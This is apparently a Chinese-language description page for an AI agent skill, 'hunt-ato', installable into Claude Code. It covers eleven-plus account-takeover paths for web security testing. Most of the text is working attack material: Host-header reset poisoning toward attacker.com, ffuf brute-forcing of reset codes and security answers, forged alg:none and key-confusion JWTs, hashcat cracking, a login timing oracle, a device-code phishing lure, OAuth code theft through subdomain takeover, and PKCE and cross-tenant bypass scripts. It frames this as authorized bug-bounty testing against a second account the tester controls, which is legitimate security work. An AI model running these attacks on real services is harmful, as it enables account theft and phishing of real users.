关于 hunt-ato
用于 Web 安全测试的技能,归纳账户接管路径,涵盖重置令牌缺陷、JWT 操纵、OAuth 设备码和 PKCE 问题。它要求验证是否能实际访问受控的第二个账户,而非把疑似缺陷当作证据。
主要功能
- 01十一类账户接管路径
- 02重置令牌与邮箱变更检查
- 03JWT 与会话验证
- 04OAuth 设备流与 PKCE 测试
- 05基于证据的接管严重性判断
适用场景
- 01评估密码重置与账户恢复流程
- 02测试 JWT 缺陷能否访问他人账户
- 03检查设备授权是否执行 MFA
- 04验证 OAuth 重定向与 PKCE 处理
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-ato安装后在 Claude Code 中输入/hunt-ato确认已加载。
详细介绍
13. ATO — 账户接管分类
9 条不同的路径。ATO 是一种攻击结果类别,而非单一漏洞——只有当你证明能从攻击者 A 的会话 / IP / 设备接管一个你无法控制的第二个账户(测试账户 B)时,下列各路径才会成为严重问题。若某条路径只会让你无法登录自己的账户,或只有在你已持有受害者的密码和会话时才有效,就不能单独算作 ATO。
路径 1:密码重置投毒(Host-Header)
POST /forgot-password HTTP/1.1
Host: attacker.com # primary Host swap
# OR keep real Host and add one of:
X-Forwarded-Host: attacker.com
X-Host: attacker.com
X-Forwarded-Server: attacker.com
# OR dual-Host smuggling: Host: target.com\r\nHost: attacker.com
[email protected]
重置邮件程序根据请求的 Host 标头构建链接 → 链接指向 attacker.com/reset?token=XXXX。确认方式 = 带外(OOB),而非基于响应: 将标头指向 Burp Collaborator / 唯一的 DNS 名称,然后查看实际邮件(测试时使用你自己控制的受害者 B 收件箱)。如果令牌只出现在发往你的 Collaborator 主机的邮件正文中,就有了证明。
排除误报的关键: 许多应用会在邮件中放入 attacker.com,但实际链接的域名由服务器固定指定——请查看邮件,不要根据反射的标头推断。
路径 2:Referer 中的重置令牌 / 开放重定向泄露
GET /reset-password?token=ABC123
→ page loads third-party resource: <script src="https://analytics.com/t.js">
→ browser sends Referer: https://target.com/reset-password?token=ABC123
→ token exfiltrated to every off-origin host the page calls
还要测试重置页面是否会 302 重定向到携带令牌 URL 的开放重定向。证明: 在 Network 标签页中捕获外发请求(如果你控制了跨源主机,也可使用 Collaborator),确认 Referer 中包含完整令牌。可通过 Referrer-Policy: no-referrer 和将令牌放在 POST 正文中缓解——请注明它们缺失。
路径 3:可预测 / 弱重置令牌
# 6-digit numeric OTP-style reset code, no rate limit:
ffuf -u "https://target.com/api/reset/verify" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","code":"FUZZ"}' \
-w <(seq -w 000000 999999) -mc 200 -fr "invalid" -t 5
# time-based tokens: capture 5 tokens, diff — md5(timestamp)/sequential int = predictable
规范流程: 自行请求受害者 B 的令牌(你拥有 B),通过抽样确认熵,THEN 再证明一次新的暴力破解成功。仅针对 /forgot-password 的速率限制问题通常会被拒绝——影响在于猜测令牌,而非大量发送请求。
路径 4:令牌永不过期 / 可重用 / 跨账户
Expiry: request token → wait 2h → still valid? = bug
Reuse: use token once → use again → still valid? = bug
Multi: request token#1, then token#2 → is token#1 still valid? (should be invalidated)
Cross: does B's token reset A's password if you swap the userid/email param? = IDOR-in-reset
路径 5:无需重新认证即可更改电子邮件
PUT /api/user/email HTTP/1.1
Cookie: session=ATTACKER_A_SESSION
{"new_email":"[email protected]"} # no current_password, no OTP, no email-confirm
如果更改生效时既无需验证当前密码,也无需向旧地址发送确认链接,那么触发密码重置 → 重置邮件到达攻击者邮箱 → ATO。最严重的变体甚至跳过对新地址的确认。常见模式:账户关联 / 更改电子邮件 → 因缺少重新认证而导致 ATO。
路径 6:JWT 操纵
# (a) alg:none — strip the signature, set header alg to none
python3 -c "import jwt; print(jwt.encode({'sub':'victimB','role':'admin'}, key='', algorithm='none'))"
# send: header {"alg":"none","typ":"JWT"}, payload {"sub":"victimB"}, empty signature
#
# (b) RS256 -> HS256 key confusion: re-sign with the server's PUBLIC key as the HMAC secret
curl --max-time 30 --connect-timeout 10 -s https://target.com/.well-known/jwks.json # or /oauth/.well-known/... grab the RSA pub key
# convert JWK -> PEM, then sign HS256 using that PEM bytes as the secret -> server verifies it
#
# (c) weak HMAC secret: crack offline
hashcat -a 0 -m 16500 token.jwt rockyou.txt # -m 16500 = JWT
#
# (d) kid injection: kid=../../../dev/null (empty key) or kid=' UNION SELECT 'secret -- (SQL-backed kid)
此类问题的已验证依据: CVE-2015-9235(node jsonwebtoken <4.2.2 — 算法混淆 / none 绕过),CVE-2016-10555(jwt-simple RS256→HS256)。验证: 伪造的令牌必须能以受害者 B 的身份访问特权端点(例如 GET /api/admin 或 GET /api/users/B)——解码 / 伪造令牌不代表造成了影响;以 B 的身份执行授权操作才算。如果服务器忽略伪造的 sub,而是依据会话 Cookie 进行身份验证,那么 JWT 就不是信任边界——不构成发现。
路径 7:无需二次验证即可更改密码 + 登录验证预言机
# (a) password-change endpoint accepts a new password with no current-password / no MFA challenge:
POST /api/account/password
Cookie: session=STOLEN_B_COOKIE # from XSS, session-fixation, or token leak
{"new_password":"Pwned#2026"} # no "current_password" field
#
# (b) login oracle to find a valid password without an existing cookie — measure response delta:
for p in $(cat candidates.txt); do
t=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w '%{time_total}' -d "user=victimB&pass=$p" https://target.com/login)
printf '%s\t%s\n' "$t" "$p"
done | sort -n # bcrypt-vs-fast-reject timing gap, or response-length diff, leaks valid pass
无需二次验证的密码更改端点是持久化放大器:Cookie 被盗(暂时性)+ 此问题 = 攻击者通过被盗 Cookie 设置新密码 → 从任何设备 / IP 控制 B,受害者则被锁定在账户之外。排除误报: 确认确实没有当前密码 / MFA 验证——许多 API 会将该字段设为可选,但仍会在服务器端返回 403;重放时省略该字段,检查实际状态是否发生变化(尝试从干净的浏览器使用新密码登录)。
路径 8:滥用社交恢复 / 安全问题
# Security answers are low-entropy and often unthrottled. Brute the recovery-answer endpoint:
ffuf -u "https://target.com/account/recover/answer" -X POST \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","question":"pet","answer":"FUZZ"}' \
-w common-answers.txt -mc 200 -fr "incorrect" -t 5
# also test: answers returned/echoed in /api/me or recovery page source (client-side check)
# and: question itself reveals PII the answer to which is OSINT-able (mother maiden, first school)
配合 offensive-osint 使用:许多“秘密”答案(出生城市、宠物、学校)会公开在社交资料中 → 无需暴力破解。验证时,完整走完恢复流程并登录账户 B。
路径 9:OAuth redirect_uri 中的 SSO 子域名接管
# (a) enumerate accepted redirect_uri patterns — does the provider accept *.target.com subdomains?
GET /oauth/authorize?client_id=...&redirect_uri=https://anything.target.com/cb&response_type=code
# (b) find a dangling subdomain (CNAME -> deprovisioned Heroku/S3/Azure/GH-Pages) via hunt-subdomain:
dig +short staging.target.com # CNAME -> nonexistent-app.herokuapp.com (NXDOMAIN on the target)
# (c) claim that host on the cloud provider, serve a callback that logs the ?code=
# (d) send victim B the crafted authorize URL -> their code/token lands on your claimed subdomain
确认方式 = OOB: auth code(或隐式流程的 access_token)必须实际到达你所声明的主机——在服务器端记录它,并将其兑换为 B 的令牌。仅仅反射站外值、但通过服务器固定的兑换流程传递 code 的 redirect_uri 不可利用。将任何错误响应正文解析为 JSON,而非子字符串——AADSTS50076 / claims-challenge 响应的 claims 字段中包含字面字符串 access_token,但它不是可用的令牌。
ATO 严重性判定
- 严重——受害者无需交互或交互极少:Host 头重置投毒、伪造 JWT 以访问受害者端点、宽松的 redirect_uri 导致授权码被盗、通过 IDOR 更改邮箱 → 重置。
- 高——需要点击一封邮件,或需要已有会话 / Cookie(Referer 泄露、窃取 Cookie 后可在无需额外验证的情况下更改密码)。
- 中——需要钓鱼加上用户主动交互(OAuth 链接 CSRF,需要受害者点击并处于登录状态)。
- 低——攻击者必须是 MitM,或影响仅限攻击者自己的账户。
路径 10:OAuth 设备码流程滥用(RFC 8628)
设备授权许可(OAuth 设备流程)专为输入受限的设备设计,但攻击者会滥用它进行钓鱼、绕过 MFA 和跨租户令牌窃取。
流程如何运作(滥用方式):
- 客户端请求设备码:
POST /oauth/devicecode,包含client_id+scope - 服务端返回:
device_code、user_code、verification_uri、interval - 攻击者诱骗受害者访问
verification_uri并输入user_code - 受害者进行身份验证(设备流程通常无需 MFA)并授权
- 攻击者使用
device_code轮询POST /oauth/token→ 收到访问 / 刷新令牌
攻击向量:
A. 使用设备码进行钓鱼(通过窃取授权码实现 ATO)
# Step 1: Request a device code from the OAuth provider
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/devicecode" \
-d "client_id=VICTIM_CLIENT_ID&scope=openid profile email offline_access"
# Response: {"device_code":"...","user_code":"ABCD-1234","verification_uri":"https://target.com/device","interval":5}
# Step 2: Craft phishing email: "Please verify your account at https://target.com/device
# and enter code: ABCD-1234 to unlock your account"
# Step 3: Victim enters code on legitimate OAuth page → authenticates
# Step 4: Attacker polls for token:
curl --max-time 30 --connect-timeout 10 -X POST "https://target.com/oauth/token" \
-d "client_id=VICTIM_CLIENT_ID&grant_type=urn:ietf:params:oauth:grant-type:device_code&device_code=THE_DEVICE_CODE"
# → Attacker receives victim's access_token + refresh_token → full ATO
B. 通过设备流程绕过 MFA 许多 OAuth 提供商不会在设备授权端点强制执行 MFA,因为“设备无法进行 MFA”。如果授权码 / 隐式流程要求 MFA,但设备流程不要求:
# Compare: standard auth requires MFA
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=xxx
# → MFA challenge
# Device flow skips MFA entirely
POST /oauth/devicecode
# → No MFA, direct token grant
# Proof: if your account has MFA enabled but device flow produces tokens without MFA → finding
C. 跨租户设备码(Azure AD / Entra ID)
Azure AD 设备码不受租户限制——user_code 可在任何租户的验证页面上使用:
# Attacker requests device_code from Azure AD common endpoint (any tenant):
curl --max-time 30 --connect-timeout 10 -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" \
-d "client_id=YOUR_CLIENT_ID&scope=user.read"
# Victim at ANOTHER organization enters the user_code
# If their tenant trusts the app → victim's token issued → cross-tenant ATO
D. 检测——查找设备流程端点:
# Check OAuth authorization server metadata
curl --max-time 30 --connect-timeout 10 -s "https://target.com/.well-known/oauth-authorization-server" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('device_authorization_endpoint','NOT SUPPORTED'))"
# Probe common device code endpoints
curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/devicecode" -d "client_id=test&scope=openid" -w "\nHTTP %{http_code}"
curl --max-time 30 --connect-timeout 10 -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -d "client_id=test&scope=user.read" -w "\nHTTP %{http_code}"
路径 11:PKCE 绕过链
PKCE(用于代码交换的证明密钥,RFC 7636)旨在保护公共客户端中的授权码流程。许多实现未能正确强制执行它:
绕过 1:未强制执行 PKCE
# Send auth request WITHOUT code_challenge
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb
# Exchange code WITHOUT code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
redirect_uri=https://app.com/cb
# If accepted → PKCE not enforced → authorization code interception vulnerability
绕过 2:code_challenge_method=plain(应为 S256)
# Auth request with plain challenge (SHA256 should be required)
GET /oauth/authorize?response_type=code&client_id=xxx&code_challenge_method=plain&code_challenge=ATTACKER_STATIC_VALUE
# Exchange with corresponding code_verifier
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
code_verifier=ATTACKER_STATIC_VALUE
redirect_uri=https://app.com/cb
# If accepted → plain method exposes the PKCE challenge to MitM
绕过 3:接受 code_challenge,但不验证 code_verifier
# Auth request WITH code_challenge=S256:<hash>
# Token exchange WITHOUT code_verifier or with wrong code_verifier:
POST /oauth/token
grant_type=authorization_code
code=AUTH_CODE
# no code_verifier field
# If token issued → PKCE is decorative, not enforced
绕过 4:PKCE 交换后重用授权码
一些服务端会使 code 过期,但仍接受同一个 PKCE verifier 两次:
# Exchange code once → success
# Exchange same code again with same code_verifier → if second exchange also works → code replay
完整的 PKCE 绕过检测脚本:
# Test PKCE enforcement with various combinations:
for cc in "" "code_challenge_method=S256&code_challenge=$(echo -n 'test' | openssl dgst -sha256 -binary | base64 | tr '+/' '-_' | tr -d '=')"; do
for cv in "" "test" "wrong_value"; do
echo "=== cc=[$cc] cv=[$cv] ==="
# Step 1: get auth code
code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{redirect_url}" \
"https://target.com/oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&state=x$cc" \
| grep -Eo 'code=\K[^&]+')
[[ -z "$code" ]] && echo "NO CODE" && continue
# Step 2: exchange
resp=$(curl --max-time 30 --connect-timeout 10 -s -X POST "https://target.com/oauth/token" \
-d "grant_type=authorization_code&code=$code&redirect_uri=https://app.com/cb$([[ -n "$cv" ]] && echo "&code_verifier=$cv")")
echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print('TOKEN' if 'access_token' in d else d.get('error','unknown'))"
done
done
路径 12:跨租户 ATO(Azure AD / Entra ID)
跨租户攻击会利用 Azure AD 租户与多租户 OAuth 应用之间的信任关系。
攻击 1:滥用 prompt=none 静默身份验证
# If an app allows multi-tenant authentication, prompt=none skips the login UI:
GET /oauth/authorize?response_type=code&client_id=xxx&redirect_uri=https://app.com/cb&prompt=none&[email protected]&domain_hint=organizations
# If the user has an existing session with the app → code issued silently
# If prompt=none is accepted by the authorization server but the user ISN'T logged in →
# the server returns error=login_required instead of prompting, which still confirms the
# user's existence (enumeration via OAuth)
攻击 2:篡改租户 ID / domain_hint
# Azure AD multi-tenant apps often validate tenant from the token, not the request
# Try swapping tenant IDs:
GET /victim-tenant.onmicrosoft.com/oauth/authorize?...
# vs:
GET /attacker-tenant.onmicrosoft.com/oauth/authorize?...
# If the app accepts tokens from BOTH tenants → cross-tenant token replay possible
# Test with curl:
curl --max-time 30 --connect-timeout 10 -v "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=xxx&response_type=code&redirect_uri=https://app.com/cb&domain_hunt=organizations&state=test"
攻击 3:跨租户令牌重放
# 1. Register same app client_id in YOUR tenant
# 2. Authenticate as user in YOUR tenant → get access_token
# 3. Use that token against the VICTIM's tenant API
curl --max-time 30 --connect-timeout 10 -H "Authorization: Bearer *** https://victim-tenant.com/api/user/me
# If accepted → the app doesn't validate the "tid" (tenant ID) claim → cross-tenant ATO
检测——查找跨租户漏洞:
# Check if app is multi-tenant by probing with unauthorized tenant credentials
# Get token from attacker tenant, then test against victim API:
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST 'https://login.microsoftonline.com/attacker-tenant.onmicrosoft.com/oauth2/v2.0/token' -d 'client_id=xxx&scope=https://target.com/.default&grant_type=client_credentials&client_secret=xxx' | python3 -c 'import sys,json; print(json.load(sys.stdin).get("access_token",""))')
curl --max-time 30 --connect-timeout 10 -s -H "Authorization: Bearer $TOKEN" "https://target.com/api/user/me" -w "\nHTTP %{http_code}"
验证
运行此自测,以确认已准备好进行 ATO 排查:
-
密码重置投毒测试——验证 Host 头注入探测语法:
echo "Host: attacker.com" | grep -q "Host:" && echo "PASS: Host header syntax" || echo "FAIL" echo "X-Forwarded-Host:" | grep -q "X-Forwarded" && echo "PASS: header alias syntax" || echo "FAIL" -
JWT 操纵——确认 Python3 JWT 工具:
python3 -c " import base64,json h=base64.urlsafe_b64encode(json.dumps({'alg':'HS256','typ':'JWT'}).encode()).rstrip(b'=').decode() print('PASS: JWT header generation works' if len(h)>10 else 'FAIL') " 2>/dev/null || echo "FAIL: Python3 unavailable" -
OAuth redirect_uri 测试——确认重定向检测:
echo "redirect_uri=https://evil.com/callback" | grep -q "redirect_uri" && echo "PASS: redirect_uri parameter recognized" || echo "FAIL" -
双账户测试要求——确认技能文档说明了第二账户规则:
grep -q "SECOND account\|test account B\|victim B" SKILL.md && echo "PASS: second-account requirement documented" || echo "FAIL"
这 4 项测试可验证 ATO 排查方法是否记录妥当。
陷阱
- Self-ATO 不等于 ATO — 修改自己的密码、重置自己的账户,或把自己锁在账户外,都不能证明任何问题。你必须演示攻击者 A 从自己的会话/IP 接管第二个测试账户(受害者 B)。
- 未通过邮件确认的 Host 头注入 — 测试响应中出现反射的头部值,并不能证明重置链接遭到篡改。读取实际邮件(使用 Collaborator 域名和受控的受害者 B 收件箱)。
- 没有实际利用的可预测令牌 — 发现某种模式(连续数字、基于时间戳)只是一个原语,并非 ATO。演示实际的令牌预测和账户接管。
- 令牌永不过期本身不属于严重问题 — 永不过期的令牌只是一个原语。将其与令牌泄漏途径(Referer、开放重定向、日志)结合,才能达到严重级别。
- OAuth redirect_uri 匹配宽松,但没有子域名接管 — 只有当你能在自己控制的子域名上托管内容时,
redirect_uri=*.target.com才可利用。若无法接管子域名,严重程度至多为低。 - 测试了 PKCE 的 S256,但未检查 plain 回退 — 如果服务端接受 plain code_challenge_method,而客户端使用 S256,那么 plain 路径才是漏洞。两种方式都要测试。
- 设备码流程的轮询间隔 — 如果间隔为 5 秒,暴力破解并不现实。只有在间隔非常短(<1s)或代码空间较小时才可利用。
- 未验证令牌的跨租户重放 — 如果 API 验证了
tid(租户 ID)声明,跨租户重放就会失败。报告前请确认令牌确实被接受。 - 未演示完整链路的 Cookie 窃取 — “如果攻击者窃取了 Cookie”不构成发现项。请演示窃取途径(XSS、令牌泄漏、中间人攻击),或通过真实的 Cookie 泄漏原语串联攻击链。
相关技能与攻击链
hunt-idor— 最可靠的 ATO 基础手法,无需控制邮箱,也无需竞争条件。攻击链基础手法:使用攻击者 A 的会话和受害者 B 的 UID,发送PATCH /api/users/{victimB_uid},并附带{"email":"[email protected]"}→ 触发密码重置 → 重置邮件发送到攻击者邮箱 → 完全接管账户(ATO),受害者无需进行任何交互(Path 5 + IDOR = 严重)。hunt-mfa-bypass— 只有同时绕过 MFA,Path 7 才属于严重问题。攻击链基础手法:密码更改端点在没有当前密码验证且无需 MFA 二次验证的情况下接受新密码 → 窃取 Cookie(XSS / 令牌泄露)+ 登录时序预言机 → 使用被盗 Cookie 设置新密码 → 无需 MFA,即可从任意 IP / 设备接管账户(ATO)。hunt-oauth— Path 9 属于此处。攻击链基础手法:redirect_uri验证接受子域名匹配(*.target.com)+hunt-subdomain发现staging.target.com上存在悬空 CNAME → 在 Heroku/S3 上认领该域名 → 托管 OAuth 回调 → 受害者点击精心构造的授权 URL → 授权码落到攻击者子域名 → 换取令牌 → 接管账户(ATO)。始终使用 JSON 解析 OAuth 错误响应正文;绝不要用子字符串匹配access_token。hunt-api-misconfig— Path 6(JWT)的细节也在此处:alg:none、RS256→HS256 密钥混淆(使用 JWKS 公钥作为 HMAC 密钥进行签名)、kid路径遍历 / SQLi,以及弱密钥破解(hashcat -m 16500)。将其与此技能一同加载,以了解 JWK→PEM 转换机制。hunt-host-header— Path 1 的标准基础手法。攻击链基础手法:发送POST /forgot-password,并设置Host/X-Forwarded-Host: attacker.com→ 邮件程序根据请求中的 Host 构建链接 → 链接指向attacker.com/reset?token=XXXX→ 受害者点击 → 令牌泄露 → 接管账户(ATO)。通过 Collaborator 托管的域名读取实际邮件进行确认,不要依赖反射的请求头。offensive-osint— Path 8 的效果倍增器:多数安全问题的答案(出生城市、宠物、第一所学校、母亲的娘家姓)都能通过社交资料进行 OSINT → 无需任何暴力破解即可恢复账户 B。security-arsenal— 获取密码重置绕过表(X-Forwarded-Host、X-Host、X-HTTP-Host-Override、双 Host 走私)、令牌熵攻击载荷(连续数字、基于时间且可预测)、JWT 攻击表,以及关于“/forgot-password速率限制”的报告中始终会被拒绝的情况列表。triage-validation— 如果 ATO 需要受害者点击链接、输入凭据并通过 CAPTCHA,那么在宣称其为严重问题之前,先运行严重性预检。可复现性步骤(在 10 分钟内通过全新的浏览器逐步演示:从攻击者 A 的会话接管测试账户 B)可以区分可获严重级别奖励的问题和会被按自 XSS 级别拒绝的问题。